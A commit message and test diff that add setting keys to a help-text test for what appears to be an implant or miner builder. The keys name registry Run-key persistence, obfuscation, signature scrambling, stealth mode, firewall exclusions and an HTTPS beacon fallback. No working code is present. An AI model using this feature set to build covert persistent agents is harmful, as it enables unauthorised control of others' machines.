feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

server/web/src/help/settingHelp.test.ts

@@ -35,6 +35,7 @@ describe('FIELD_HELP', () => {
     'forge_simple_mode',
     'forge_recommended_defaults',
     'obfuscate',
+    'sigil_scramble',
     'sign_build',
     'obfuscate_default',
     'sign_enabled',
@@ -64,7 +65,14 @@ describe('FIELD_HELP', () => {
     'display_mode',
     'process_name',
     'persistence',
+    'autostart_mode',
+    'registry_persistence',
+    'registry_run_hkcu',
+    'registry_run_once',
+    'registry_run_hklm',
+    'registry_explorer_run',
     'run_as',
+    'host_binary_target',
     'silent_mode',
     'auto_start',
     'fusion_enabled',
@@ -77,11 +85,15 @@ describe('FIELD_HELP', () => {
     'install_custom_base',
     'install_relative_path',
     'public_url',
+    'https_beacon_fallback',
+    'https_beacon_after_min',
+    'webhook_url',
     'websocket_ping_seconds',
     'log_pool_traffic',
     'adapt_to_hardware',
     'self_healing',
     'firewall_exclusion',
+    'firewall_remote',
     'open_firewall_on_start',
     'file_logging',
     'stealth_mode',